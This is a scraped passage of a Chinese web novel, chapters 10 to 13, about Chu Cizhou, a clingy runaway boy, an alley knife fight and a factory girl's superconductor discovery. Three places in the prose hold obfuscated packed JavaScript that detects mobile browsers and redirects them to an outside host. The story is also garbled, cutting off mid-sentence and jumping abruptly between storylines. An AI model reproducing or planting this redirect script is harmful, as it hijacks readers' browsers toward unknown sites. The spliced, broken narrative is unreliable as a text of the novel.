周浩大脑飞转。 周浩开始卖惨。 “呜呜呜楚辞舟你好狠心啊!我还这么小,我才不到十岁,你现在把我赶出去,我能去哪啊?” “我会死在外面的!外面有人贩子,还有走私器官的……他们会把我抓走,拉我去割肾!把我毒哑,让我去要饭!” 楚辞舟:“……” 楚辞舟被他气笑了:“不是,刚才不是都说了送你去派出所吗?派出所是最安全的。” 周浩嚎得更大声:“不行!不能去派出所!我爸妈跑了,我叔叔也不是什么好人,他、他是传-销集团的大头子!我跟着他只会学坏!将来变成传-销集团的小头子,危害社会!你忍心吗呜呜呜!” 周浩承认自己撒谎了。 他从小在情感缺失的环境中长大,很难成长为一个刚正不阿的人,相反,由于和同龄人相比明显优越的心智,他骨子里还有些隐隐的高傲和强迫症似的神经质,只是,在楚辞舟这样的人面前,他必须隐藏自己。 乖巧懂事也好,凄惨弱小也行,反正楚辞舟喜欢哪款,他就扮演哪款。 这也不行那也不行,楚辞舟无奈道:“所以你就非赖我这儿了呗?就我这小破地方最安全?” 不出所料,完美的六边形战士,唯一的弱点就是心软。周浩心里一喜,敛了哭腔正要说些什么,却听外面传来一阵叮叮咚咚的响声。 是手机。楚辞舟的手机在客厅响了。 楚辞舟只能转身出去接电话。 小孩儿似乎真的很怕他不要自己,楚辞舟去接电话,小孩儿就亦步亦趋地跟着。他长得瘦小,也就楚辞舟一条腿那么高,楚辞舟没办法欺负弱小,板脸又板不起来,只能暂时由着他挂着。 电话接通,周浩听见电话那边传来一个慌张的声音。 “小楚哥!” 是个女人。 周浩眉毛一皱,耳朵竖了起来。 各种情况都料想过了,就是没料到楚辞舟可能有女朋友——周浩心里一紧,感觉自己这事悬了。 但楚辞舟个儿太高,他离得太远,就算挂在人家腿上也听不清楚,只能从楚辞舟忽明忽暗的脸色中猜测大概内容。 楚辞舟听完了那边的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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远处有一个匆匆向这边跑来的人影。楚辞舟喊了一声,那人便小跑着朝他而来,惊慌道:“小、小楚哥快跑!他、他今天带了东西!” 楚辞舟却没跑。他冷静地开口:“报警了吗?” 温莹莹恍然大悟,跺脚:“没呢!” 楚辞舟一挥手,指挥道:“报警,然后上去给我拿点东西。” 温莹莹此刻脑子里慌得像一团乱麻,一时没get到他的意思,愣道:“拿、拿什么?” 楚辞舟来不及和她解释,冲着摸黑而来的人影一脚送上去。 外面是亮着灯的7号楼。从亮灯的7号楼到黑漆麻乌的3号楼,眼睛会需要一个适应的过程,楚辞舟就是抓住了这个契机,埋伏在这里,送对方一脚削减其战斗力。 但正如温莹莹所说,那人带了刀。他踢出这一脚的同时,对方手里的小刀也因为惯性,在他腿侧拉开了长长的一道血口子。 这种时候,雄性动物的肾上腺素攀升,楚辞舟暂时感觉不到疼。他带着那条长长的血口子追上去,对着倒下的人继续补踢。 巷子里太黑了,他看不清对方的手在哪,更看不清刀在哪,只能尽可能地对对方的身体造成持续伤害,以免他爬起来威胁到自己。 这个方法虽然一开始很有效果,但毕竟对方蓄谋已久,此刻又有刀在手,心理上便占了优势。 最初的惊讶过后,那人渐渐冷静下来,寒声道:“臭小子,我劝你少管闲事!” 听他这话,楚辞舟就知道是个硬茬。偏偏自己手上没有任何家伙事……这样下去不是办法,总会被他找到机会反击的。 楚辞舟正想着,就感觉黑暗中寒光一闪。 离得太近,再向后退已经是来不及,楚辞舟眼看着那刀向自己刺来—— 这时,一个黑影拖着呼啸的破空声朝那人面门招呼了过去。但或许是那人太高,又或者是发力的点实在太矮,那黑影只堪堪打到那人胸前,发出了黏糊糊的一声“啪!” 楚辞舟定睛一看,是拖把。 那拖把握在一个半人高的黑影手里,拖把头上也不知道沾了些什么,拿开之后,一股臭气四溢开来。 这味道……楚辞舟离得近,感觉有点恶心,忍不住伸手捏住了鼻子。 那人也感觉到了不对,伸手一摸,发出一声惨绝人寰的尖叫。 楚辞舟大概猜到什么,替那人默哀了一秒。 这叫声一下子把3号楼里的灯都喊亮了,家家户户陆续有人影打开窗户,看了过来。 “干什么的!?”有人冲楼下暴喝一声。 这点时间已经很够周浩发挥了,他飞快地举起拖把,又是一抡。 刚才没发挥好,有点失误,这次的目标是那人的脸。 楚辞舟明显地感觉到,在此之前,那人或许还存了要不要刺他一刀回回本之类的心思,但此刻,他显然破防了,什么心思也没有了,大叫着向后狂退数步,跌在地上。 周浩的拖把扑了个空,重重地打在地上,发出好大的一声湿哒哒的“啪!”声。恶臭的水点子更是甩出几米之远。 那人从喉咙里发出恐惧的声音,爬起来屁滚尿流地跑了。 楚辞舟看着那人崩溃逃窜的背影。 挺好,估计这哥以后再去巷子里蹲妹子,都得好好克服一下今晚的心理阴影了。 11. 第 11 章 “喂,楚辞舟,我现在好歹也算是救了你一命,你是不是应该知恩图报,不能再赶我走了?” 公厕里,周浩冲干净拖把。 筒子楼没有入户的便池,家家户户起夜都是使用便盆,上完后先用盖子盖起来,第二天早上再拿下来,倒进公厕。 这种如厕方式的缺点很明显,稍微讲究一点的还好,但有些人就是没什么素质,连多走两步把东西倒进便池冲走都不愿意,直接往清洗便盆的长条水槽里一倒。 女厕那边还稍微好点,男厕这边这种现象尤其严重,经常能在水槽里发现一些本来不应该属于这里的东西。因此他要是想沾点什么,简直就是易如反掌。 所以,当他跟着楚辞舟偷偷跑下来,看见巷子里搏斗的两个人的时候,第一时间就这么做了。 周浩说完,假作镇定地看向楚辞舟。 他本来还以为,楚辞舟讨厌极了自己,这事肯定还得再多磨两天。谁知道,对方却什么也没说,只是沉默着转身,就这样出去了。 楚辞舟房间的门没关。 周浩跟脚狗似的挨挨蹭蹭地溜着墙根跟进来,发现他不知何时脱掉了牛仔裤,露出腿侧一道长长的划伤。 “你、你受伤了?” 周浩紧张地跟过来,看着他拿棉签沾了酒精就要往伤口上按,不由得呲牙咧嘴起来:酒精的厉害他可是刚刚才领教过的!他自己那一点点小伤都疼得恨不能以头抢地,更何况楚辞舟身上这么长一条口子呢! 周浩看着他面无表情地把棉签按在腿上,自己腿上也像是被划了似的幻疼:“别、别弄了……去医院看看吧?” 楚辞舟抬眸瞥他一眼:“小伤。别大惊小怪的,再叫别人听见。” 周浩:“……………………” 一整个晚上,周浩都抓心挠肝。 抓的是楚辞舟真tm的是条汉子,真男人,做好事不求名的那种大侠客,他这回是真的服了,彻底服了,心服口服的那种服了; 挠的是他在担心将来:虽说现在自己算是拿捏住了楚辞舟的心软,撒泼打滚地赖下来了,而楚辞舟也没有再说要送他去派出所之类的话,可实际上,楚辞舟自己看起来也就是个未成年—— 就这么一大一小两个孩子,今后的日子该怎么办? 大概是想到了和他一样的问题,没几天,周浩发现,楚辞舟开始凌晨四点半起来,悄无声息地出门。 周浩只作不知,躺在沙发上假寐,等楚辞舟一出门就偷偷摸摸跟上去。跟了几次后,发现他是在送牛奶。 每天早上去奶厂拿了货分发到各家各户,送到八点半,回来再眯一会儿,十点钟就准时骑着小电驴去夫妻店洗盘子。周浩还听说,这种工作现在很少人愿意干,已经涨价到两毛钱一瓶,送得多的每天能送两三百瓶,这样的话每天就是六十块,一个月就是一千八。 再加上洗盘子的八百,他现在一个月能赚两千多。 周浩其实心里很清楚,楚辞舟这么拼命都是因为多了自己这个“拖油瓶”。 但要让他因为愧疚而从楚辞舟家的沙发上搬出去,那也是绝对不可能的。 于是他便趁着楚辞舟在卧室睡觉的时候,偷偷收了楚辞舟的脏衣服和脏袜子,搭个板凳吭哧吭哧地在水房里洗,然后再搭个板凳吭哧吭哧晾起来,以盼能帮对方减轻些负担。 他从前的确看不上这些。 毕竟七岁之前,他家里很有钱。 至于七岁之后,他为什么没钱了呢?那是因为,这些钱,全都是他爸妈骗来的。 起初,他只是知道爸妈总是出去“讲课”,很少着家。 但后来,很平常的某一天,周浩起床的时候,发现家里空空如也。 没有爸妈,没有佣人,甚至连一件曾经的家具也没有。 整个房子里什么也没有了,只剩下他一个人。 ——他被抛弃了。 但或许是天生情感上的淡漠吧,这之后的很多天,周浩并没有感觉到什么不同,他还是正常地上下学,饿了就自己点外卖或者在学校门口随便买点东西吃。 然而,好景不长,他很快就发现自己的账户用不了了。住的房子也被法院查封。 查封的那天,有个自称是他叔叔的男人出现。他曾经从爸妈口中听说过这个叔叔的名字,是北京一个很牛的大律。 叔叔来的那天,穿着精致的西装,浑身贵气,可看他的眼神极冷,不知为何竟像是带了些厌烦。 周浩从法院的人口中得知,非-法集资往往就是从身边的亲友开始下手的,那么想必这位叔叔,也是那件事情的苦主了。 怪不得这么恨他。 于是,周浩拒绝了叔叔的收养。 理由是不想去北京。 不过,留在小县城,对他来说,也未必就是件好事。 真相被揭露出来的那天,下了很大的雨。周浩被来自不同年级、不同家庭的学生,堵在学校附近的工地上。 惊动中央的林地案,涉案金额单位是“亿”。小县城里被他爸妈坑到破产的人实在太多了。 这些学生就算打死他,他也没什么可申辩。 遇见楚辞舟的那天,周浩其实是打算去死的。 诈骗犯的儿子,活着反正也没什么价值。 周浩正在桥上徘徊,忽然听见“咣!”的一声。 一辆破旧的小电驴砸在了自己脚下。 周浩原本没有在意,只背着脏兮兮的书包,出神地打量着夜里变得黑漆漆的河水,放任想象描绘着颈骨被坚硬河面折断的感觉。他听说只要高度足够,河水也能变成坚硬的平面,他如今还只有七岁,颈骨应当足够娇嫩。 正出神间,耳边又传来“Duang!”的一声。这回的动静有点大,惊天动地的。 好像还夹杂着一些惊呼声和怒骂声。 人与人之间的悲喜并不相通,周浩只觉得他们吵闹。 他都已经是个要死的人了,为什么这些聒噪的玩意儿还不肯放过他? 可当他不耐烦地转过头来,却看见了后来治愈自己一生的画面。 · 看着楚辞舟走远的背影,周昊渊在原地默默地懊恼了一会儿。 他的确是太心急了,毕竟明天开始就会接到任务通知—— 一想到自己这一去就是四五年他就忍不住要焦虑,尤其是这一世,在楚辞舟断腿的命数被改变之后,林晚晚那个女人居然后悔了还想求复合!实在是太不要脸了! 想到这里,周昊渊的神色逐渐冷淡下来。 他摸出手机给助理编辑消息:【今天开始,找人给我盯着林晚晚。】 助理秒回复:【好的老板,还有别的吩咐吗?】 周昊渊:【找个适当的时机,把她父亲的事情捅出来。】 …… 这天之后,艾达身上的主要任务从日常运转变为基地筹建,每天在外面东奔西走; 楚辞舟则是每天回公司处理事务之余,继续出去招揽各路人才,并以此为借□□筹建一事全部抛给艾达,自己乐得清闲; 至于周昊渊,他最近也有了任务,没空和楚辞舟形影不离了。 三人在各自的领域行事,互不打扰又各有联系,时间就这样过去了两个月。 没有了这两个人的生活,居然有点无趣。 楚辞舟今天去这家大学看看,明天去那家公司瞅瞅,算下来居然也拉起来了一支小一百号人的队伍,当然,其中他准备做重点培养的,大概只有十来个人。 可能是看他实在是太无聊了,剧情大神的手在所有人毫无觉察的情况下到来,向前蓦地推了一把。 这天,又成功签下几个人才后,楚辞舟心情大好,正准备开车去工地看看艾达那边的进展,却听手机突然响了起来。 听到那边的哭诉:“舟哥哥怎么办?我该怎么办?我、我怀上了易轩的孩子……可是我才知道,易轩的爸爸,居然是逼死我爸爸的凶手!舟哥哥我该怎么办啊?”时,楚辞舟惊讶了。 因为女主父亲的死,正是原书里男女主之间的虐点之一! 女主最终之所以决定离开男 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和楚辞舟轻松继承家业所不同的是,周昊渊当年是靠单枪匹马拖着日薄西山的周家在科技界闯出来的,他旗下的某些专利早在七年前就已经被国家征用,所以现在很多项目已经成为了涉密项目。 也是因为这些能力,他很被“上面”看重,时不时会被召回进行项目攻坚。 周昊渊站直身体,看着他道:“嗯,是忙了一段时间。” 从楚辞舟的视角看来,他碰巧站在今夏难得的阳光里,身后是停车场的玻璃反光,衬得他一身碎金,潇洒修长。虽然神态间多了几分疲惫,但也或许正是因为如此,反倒少了几分往日的寒气,多了几分姣好颜色。 周昊渊看着他,眼里有深深浅浅的暗涛翻涌。 这一世,他不求什么,只求一切危险都远离楚辞舟,不管用什么手段,他会让这个人平平安安的,完好无缺地在自己眼前。 楚辞舟看见他,直接就把还在手机那边哭哭啼啼个不停的女主给忘了,道:“周总来得不巧,我正好准备去工地那边看看施工进展,怕是没空相陪。” 看着他挂断了电话,周昊渊喉结滚动:“没事,正好我在楚总车上睡会儿。” 项目攻坚显然不会太轻松,见他累得一上车就睡了过去,楚辞舟特意放缓了车速,开得平稳。 抵达基地附近,他把车悄无声息放在停车场,蹑手蹑脚正要下车,刚打开安全带,发出一声比蚊吶还小的脆响,副驾上的人就蓦地睁开了眼,反应迅速地一把抓住他小臂:“楚总又要扔下我了吗?” 楚辞舟:“……” 不是,这个“又”字从何说起啊?难道他在反派心里就是这种不讲义气的形象吗? 不过自从上次“陶小小事件”以来,楚辞舟对他总是多了几分耐心,怕他难受,顺着毛给他解释:“不是扔下你。还困吗?” 他的眼神干净又透着关怀之意,淡粉色的嘴唇看起来格外柔软,又因为周昊渊躺在副驾,视角偏低的关系,更是显得格外温和动人。 周昊渊紧紧地盯着看了他一会儿,紧握的手指逐渐缓和下来:“嗯。” 楚辞舟试图安抚他:“困的话就再睡会儿吧?我进去看看,一小时后回……” 周昊渊斩钉截铁:“不行。” 楚辞舟道:“好吧,那我先不走,等你睡好了再说,行吗?” 真是百般温柔千般迁就,周昊渊在心里叹了口气,默默使出这辈子最大的定力,强迫自己一根根将手指放开:“不耽搁楚总的时间,我现在就能下车。” 他用的词是“能下车”,而不是“睡醒了”,可见仅仅两个小时的睡眠并不足以恢复这段时间他损耗的精力。 楚辞舟还不想他猝死,劝道:“不要逞强。” 周昊渊:“……” 周昊渊刚刚松开的手指不自觉又紧了紧,脑海中疯狂的念头就要按捺不下。 他深吸口气,喉结剧烈滚动:“楚总对我……还是不要太温柔了。” 12. 第 12 章 钱到位,基地的建设进度自然也就和吃了生长素似的快得出奇。 地基、管网等地下设施经过一个多月的施工,已经完成得差不多了,现在正在浇筑阶段。 艾达汇报道:“进度比预期快了10%,如果能够按照这样的进度继续赶工,预计可以比计划提前20天完成。” 提前20天,那就是5个多月就能完成,楚辞舟点点头,赞许道:“不错。进度快的同时,也要注意保质保量。尤其实验室的净化设施,有污染的一定要做好防范措施。” 监工艾达表示:“好的没问题。环保方面政府那边很也重视,我们的所有设计都经过专业设计院把关,政府也派专人进行过多次检查,都顺利通过了。” 楚辞舟点头:“嗯。” 这些年在环保方面的重视程度,政府比企业还要高,既然通过了政府的检查,问题就不大。 三人在工地上巡视完一圈,眼看着时间已经临近中午,便向厂区食堂走去。 这个点正赶上工人们的下班时间,路上有不少工人也正拿着饭盒往食堂去,看见他们,纷纷和他们打起了招呼。 这些人都是上次带小朋友们过来参观时见过的,楚辞舟还依稀记得他们的脸,微笑着一一回应。 走到钢厂下属的氧气厂附近,却听见一把中气十足的大嗓门夹杂着不和谐的声音扑面传来。 三人都是一愣,不由齐齐望去。 只见氧气厂厂门口,一名大腹便便的中年人正在发火,训斥着一个瘦弱的小姑娘。 中年人举起手来,将拿在手里的不知道什么东西往地上一摔,吼道:“听不懂人话是不是?我说了,不看!” 小姑娘被他突然的爆发吓了一跳,满脸通红地蹲下-身,将地上被摔得四分五裂的零件一样样捡起来,不死心地开口道:“厂长,我说的都是真的!就浪费您不到一分钟时间,您看了就知道我没骗您……” 什么都是真的? 看什么? 听到这里,楚辞舟不由得好奇起来,迈开步子朝二人的方向走去。 似乎是看她可怜,中年人收了刚才的火气,和蔼开口道:“小庄啊,不是我说你。你一个中专出来的小姑娘,要文凭没文凭,要力气没力气,能进来咱们厂,都是我看在你爸爸为咱们厂劳心劳力,无私奉献的份上才特意给你网开一面。可你呢?你看看你自己!一天天尽整这些没用的,干活也不认真,真是太让我失望了!” 这时,氧气厂里陆续有工人从车间里出来,有些工人看见,假作不经意地笑着去踩她掉在地上的东西。 小姑娘眼看着来不及捡,有些着急,蹲在地上,手忙脚乱地用身体护住那些零件:“我说了不是没用的!这真的是超导……别踩!” 眼见着小姑娘被人欺负,中年人不仅不阻止,还笑眯眯地站在原地看着。 他不管,其他人也就都明白了他的意思,其中一名身穿技工服的工人领悟上意,哈哈大笑道:“炉渣就是炉渣,到哪里都是炉渣!这么多年厂里都是这么处理的,怎么,到你手里就成超导了?笑死了,你一个中专出来的小姑娘,成天寻思什么呢?” 他说完,另一名工人也在旁边附和道:“哎呦,要是真能提炼出你说的那什么,什么导体,那些大科学家能不知道嘛!你该不会真以为自己比那些大科学家还厉害吧!” 他们一人一句地说完,大腹便便的中年厂长这才叹了一声,示意众人不要说了。他俯下-身,拍了拍小姑娘的肩膀:“小庄啊,看在你爸爸的份上,张叔好心劝你一句,好好上工,别成天想那些没有用的!你师傅都和我投诉过多少次了,次次都被我挡回去——知足吧,年轻人!少空想,多做事,别当空想家!” “什么导体?” 这时候楚辞舟已经走到了氧气厂厂口门附近,隔了两三米的距离,开口道。 几人闻声都是一愣。 见楚辞舟长相清俊,且未穿着厂里的工服,那名穿着技工服的工人皱了皱眉:“什么人?厂区不允许外人参观。” 上次楚辞舟他们过来参观时没来过氧气厂,工人们不认识他很正常,但大腹便便的张厂长却好歹能算个中层管理,就算楚辞舟才接手公司没有多久,并未亲眼见过本人,但对方的照片他却还是多多少少在总部的专题栏上看见过的。 尤其看到远远跟在后方的艾达,他对此人的身份便更加确定了。 意识到这人就是集团少公子后,张厂长脸上面具般的表情立刻化作了奉承的笑容。 他喝止道:“欸,老刘,你胡说什么,这是楚总!” 说完换上一副讨好的神色:“哎呀……楚总!楚总您好,我是张全安,氧气厂的负责人!” 张全安说完,一边在心里庆幸自己眼尖,一边热情洋溢地伸出自己肥大的双手,要上前与楚辞舟握手。 楚辞舟却是难得地没有笑容,他径直无视了张厂长,俯身捡起地上滚远的几颗零件递给小姑娘:“小姑娘,我叫楚辞舟,你叫什么?” 他长得本就出众,说起话来又斯文有礼,和那些只会冷嘲热讽的人完全不同。因此小姑娘虽然并不认识他,却还是眼前一亮。 “我、我叫庄招娣。” 这名字…… 楚辞舟叹了口气:“招娣,你说的那个装置,能不能现在演示给我看看?” 所谓的装置,其实很简单,就是一块磁铁和一个简单的基座,安装到位后,磁铁会因为斥力而悬浮起来。 这种无聊的玩意儿,有些工人都已经看过无数次了,根本不觉得有什么神奇之处,甚至有人都忍不住翻起了白眼,小声嘟哝:“他们是不是有病?不就一块磁铁吗?有什么可大惊小怪的,谁小时候没玩过?” 可楚辞舟却隐隐有些激动。 包括缓来一步的周昊渊,二人脸上的表情此刻都呈现出如出一辙的肃然。 如果……楚辞舟是说如果。 如果这个简单的装置真的如她所说的这样,可以让磁铁悬浮起来,那么,这个中专毕业的小姑娘恐怕会成为改变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589339|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界,不,改变整个人类未来的第一人。 多余的东西,楚辞舟现在还不敢去想,只是默默掏出了手机,准备记录这伟大而又神圣的一刻。 超导,而且还是常温超导,原书里居然一点也没有提到,楚辞舟都有些不可思议。 按理说不可能啊,就算原书只是一本狗血小说,女主也并不关注这方面的东西,但这么大的科技发展,怎么都是会在生活中体现出其冰山一角的。 可是,就真的完全没提。 难道,真如这些工人所说,庄招娣所说的“超导”,是假的? 还是说,发现这个东西的人才,因为某些原因,被埋没了? 楚辞舟正想着,忽然察觉到不对:手机的右上方,有什么东西闪了一下,像是反光。 ……不妙! 楚辞舟遇上庄招娣的这天,正巧也遇上了氧气厂采购的两台空压机到货。 空压机这玩意儿就是个铁疙瘩,尤其钢厂用的空压机,更是规模庞大,人力无法搞定,需要借助吊车。 而就是这台吊车,在当天出现了不得了的操作事故。 下放过程中,由于缺少地面指挥,2#空压机的左下角蹭到了卸货货车右边的边槽,箱体因为惯性急速偏甩,吊机的车头也被这突如其来的偏甩带得失去了重心,高高翘起,吊物迅速下落。 眼看着空压机准确无误地朝着庄招娣的方向砸来,楚辞舟整颗心脏都不由得抓紧了。 情况危急,他向前一跃,飞身一扑…… · 很多年以后,每每有记者采访常温超导的发现者、人类跃入星际时代的开路者、华夏材料学家庄慧娴博士,问到当年被某位同样是大神级别的神秘人物救下、脱离死神的细节,都不由得会露出小女儿一般的娇憨神态。 她说道:“其实我也不明白……从那一声巨响到整个箱体砸在原地,给我们的反应时间可能也就仅仅只有不到一秒钟的时间而已。这一秒钟的时间,寻常人就连走一步路都恐怕不够,所以他到底是怎么做到的?是这个世界的神出手帮助了他吗?” 而楚辞舟呢,每每都只是神秘一笑:“庄博士,我知道你攻读的是材料学,但或许你也在旁的地方听说过一个生物学概念——子弹时间。” “人在危机的状态下,大脑神经元被激活,肾上腺素提升到极致的时候,反应加快,力量爆发,能让平平无奇的自行车手打破人类记录,能让黄口小儿搬动汽车救出母亲。虽然这些听上去都很不可思议,但你的确亲身经历并且活下来了,不是吗?” 庄慧娴还是很迷惑。 但这不影响她为楚氏奉献自己的下半生。 就如同后来加入团队的许许多多的无名同事那样,她相信,他们所有人都抱着同样的信念。 既然上天给了她这样一个再活一次的机会,那么她就不该辜负这个机会,要好好发挥自己的光芒和热量。 不光只为了自己,也是为了楚氏,更是为了华夏的荣耀和全蓝星的星辰大海。 13. 第 13 章 楚辞舟是被艾达讲电话的声音吵醒的。 声音有些远,但明显地心浮气躁,动辄便口吐芬芳,像是要掘人祖坟。 上一秒楚辞舟还在车间,看见自己被砸得没了人样的尸体被熊孩子抱在怀里不肯松手,下一秒就头脑一空,感觉像灵魂是被一股恐怖的力量从破破烂烂的身体中强行拉扯到了另一个地方。 那种发自本能的、对于即将脱离现实的恐惧感,没有经历过的人很难体会,楚辞舟绝望之下一个激灵,却发现自己的身体在一张陌生的床上猛地坐了起来。 就在他坐起来的这一瞬间,灵魂重新回归身体,一切的控制权也仿佛随之回归。 楚辞舟犹疑地看了看自己的手,又看了看静谧的四周,忽然意识到,原来刚才的一切只是一个梦。 说来奇怪,当他意识到这一点时,他就发现梦的内容开始如潮水一般迅速褪色,不过短短一秒时间,自己已经无论如何再也想不起来梦中的内容,只能感觉到心底还残留着一种难言的悲伤。 周昊渊坐在他旁边的看护椅上,神色间竟像是有些凄惶。 楚辞舟愣了愣,有种他像是下一秒就要跟着自己去了似的感觉,不由赶紧起身将人按下:“这是怎么了?……我怎么会在医院?” 周昊渊还没说话,艾达的声音却已经先一步传来:“哎呦你可算是醒了我的好陛下!你再不醒,老臣都快被确诊成赵高了!” 楚辞舟迷茫道:“啊?” 艾达真是又气又怕,偏偏这人还是自己老板,说不得重话,只能三两步走到床前,恨铁不成钢地戳了戳他道:“你知不知道你自己睡了多久?三天。三天!你再不醒,老臣可真就要瞒不下去了!” “?……三天?” 别说艾达,楚辞舟自己也很难相信。 怪不得他现在精力充沛得像是能夯死一头牛。 而相比之下,趴在他床沿,一直握着他一只手的周昊渊倒像一条焉了的萝卜菜。 这还是他第一次看见对方如此憔悴,像是把此生所有精力都耗光了一样。 楚辞舟愧疚道:“该不会这三天你们一直在这守着我吧?” 艾达七窍生烟:“您老人家觉得呢?三天前放下话头说是要去我的地盘,接着就开始玩消失,不知道的还以为是我曹艾达要效法先祖曹阿瞒,挟天子以令诸侯了呢!” 楚辞舟被她说得躺不下去了,起身道:“现在几点?你们吃饭了吗?” 艾达不客气道:“早上七点。没吃,想喝鸡汤。” 楚辞舟立刻点头,打包票道:“我去买。” 又问周昊渊:“你呢?想吃什么?” 周昊渊双眸略略失焦,抓着他的手摇了摇头。 楚辞舟看他疲惫得厉害,连忙起来,将他扶上床在自己睡过的地方躺下,温声道:“你先睡一会儿,我去买吃的,回来再叫你。” 周昊渊仍旧是摇头,抓着他的手紧紧不放。 艾达道:“他三天没合眼了,估计这会儿你说什么他也听不清,还是让他自己休息一会儿吧。” 楚辞舟点点头,叫来医生给他开了一针□□,周昊渊看着他,苍白的脸颊深深陷入被子里,不一会儿就闭上了眼睛。 楚辞舟直起身,看着这人明显消瘦的样子一阵出神。 艾达在旁边挤眉弄眼。 楚辞舟一阵无语,示意她跟着自己出了病房,道:“你也休息一会儿吧,这三天辛苦你了。” 艾达才不休息。艾达揶揄他道:“怎样,感动啦?” 楚辞舟道:“有点。” 他这么坦诚,艾达反倒惊讶起来:“这就承认了?坦率得不像你啊。” 又道:“不过你之前不是一直对林晚晚执迷不悟吗?这段时间怎么了,突然领悟到小周总的好处了?” 楚辞舟想了想,感觉对艾达没什么不能说的,于是便将自己穿来后发生的所有事都和盘托出。 艾达听完,中肯道:“楚家待她不薄,你又照顾了她十多年,没有功劳也总有苦劳。这姑娘真是有够里外不分,劝你还是防着点吧。” 防,当然得防! 原主就是没防着她,下场没人比楚辞舟更清楚了。 楚辞舟深以为然道:“艾达姐火眼金睛。是我太瞎,栽在一个坑里十多年才看清。” 艾达道:“为时不晚。小周总人不错的,可以试试。” 楚辞舟:“……” 虎狼之词! 楚辞舟顾左右而言他:“对了,内小姑娘呢?她怎么样?” 艾达笑他掩耳盗铃:“你说庄招娣?她没事,就住在楼下。你要见她吗?我去叫。” 艾达话音刚落,转头就见一人在楼梯口怯怯地徘徊。 艾达眼前一亮,招手道:“招娣!” 庄招娣吓了一跳,第一反应不是马上过来,而是转身想跑。 意识到喊她的人是艾达后,她似乎松了口气,放松下来,慢慢地朝二人走来。 她看起来着实拘谨得很,也不知道都经历过什么。不过想想那天的事便能猜到,这孩子的处境不会太好。 想到这里,楚辞舟柔和了脸色,开口道:“小庄,你还认得我吗?” 看见他,庄招娣眼前一亮,飞快地点头。 她似乎还记得楚辞舟那天说的话,把胸前一直紧紧抱着的东西捧出来,递到楚辞舟眼前。 楚辞舟定睛一看,果然是那天的装置。心中一喜:“带来了?” 庄招娣点点头。 楚辞舟接过装置,对二人道:“走吧,去护士站,那里方便一些。” 他的心思不要太明显,就是不想吵着里面休息的人,艾达这种浸淫职场多年的人精哪里可能看不出来,笑嘻嘻地跟着他去了。 看似简单的装置被护士长和好奇的几名医生慎重地摆放在护士站的服务台上。 庄招娣紧紧盯着自己已经实验过无数次的装置,紧张地捏了捏手心。 明明在厂里的时候,她向不同的人演示过很多次,屡屡遭到的都是嘲笑。 可现在却有这么多人愿意陪着她,看她演示这种简单到近乎无聊的幼稚表演。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589340|171820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而现在的庄招娣也永远不会知道,她的这个看似简单以至于屡屡遭人嘲笑的装置,今后还会有无数人,郑重而膜拜地在专属于她的纪念馆里进行参观。 护士将磁铁置于装置之上的那一刻,庄招娣紧张地屏住了呼吸。 放开镊子,磁铁毫无悬念地悬浮起来,像它以往无数次所做的那样。 不同的是,这一次,它迎来了属于它的欢呼声。 “成了!竟然是真的!!!” “常温超导!伟大的发现!天佑华夏!地大物博诚不欺我!!” “小姑娘,你真的很棒!!!!!” 一声声的欢呼声中,中专生庄招娣有些迷茫。 她真的很棒吗? 那为什么之前从来没有人这样说过? 为什么明明是同样的装置,只是观看的人不同而已,就一个在天上一个在地上? 明明都是一模一样的东西。 楚辞舟兴奋道:“庄招娣同志,我现在正式邀请你,你愿意加入我们的材料团队吗?” 庄招娣张了张口。 她感觉自己这辈子从来没有这么愿意过。 但是,她还是有些顾虑,于是怯怯地开口:“可是,我只是一个中专生……” 中专学历在厂里并不稀奇,却像一座轻飘飘但又重逾千金的大山,人人都可以搬起来,砸在她的身上。 但这一点在楚辞舟这里却似乎根本不是问题。 楚辞舟笑道:“不要紧,知识面可以拓展,学历也可以慢慢考。只要你想,楚氏可以供你读书,一直读到你不想读为止。但是呢,你这个能发现问题又能坚决坚持的本事,我们却非常需要。你愿意为了厂子,为了楚氏,为了我们整个材料行业,贡献你的能量吗?” 庄招娣:“……” “愿意!!!”庄招娣悬了好几天的心终于放下,真心地笑了起来,“我愿意!!!” 【今日又吸纳小将一枚。稍后带到人力资源部报到。】 艾达在将这个好消息发给HR以及老上司楚怀瑾时,也在自己的手机日历上划下了一笔。 常温超导,这个发现或者能改变整个楚氏……不,世界的未来也说不定。 回公司露了个脸,证明了艾达绝非阿瞒赵高之流,而是大大滴忠臣良将一枚后,楚辞舟回了一趟家。 这两个月他回过两次家,其中一次有幸喝到了老妈煲的板栗鸡汤,当时便惊为天人。 今天听艾达提起,又想到周昊渊这段时间身体估计亏损得厉害,索性劳动老妈出手,煲上一锅给反派补补身子。 他来回跑了两趟,时间已经过去了好几个小时。 临近下午,病房里安安静静的,周昊渊还没醒,楚辞舟便将鸡汤放进冰箱,自己坐到桌前,打开阅读灯查看信息。 这三天他算是彻底失联,手机上、邮箱里都塞满了各种有用没用的信息,他得一条一条甄别,然后回复过去。 回复了几条工作邮件后,短消息中的一个陌生号码引起了他的注意:【舟哥哥,我走了。祝你幸福。】 14. 第 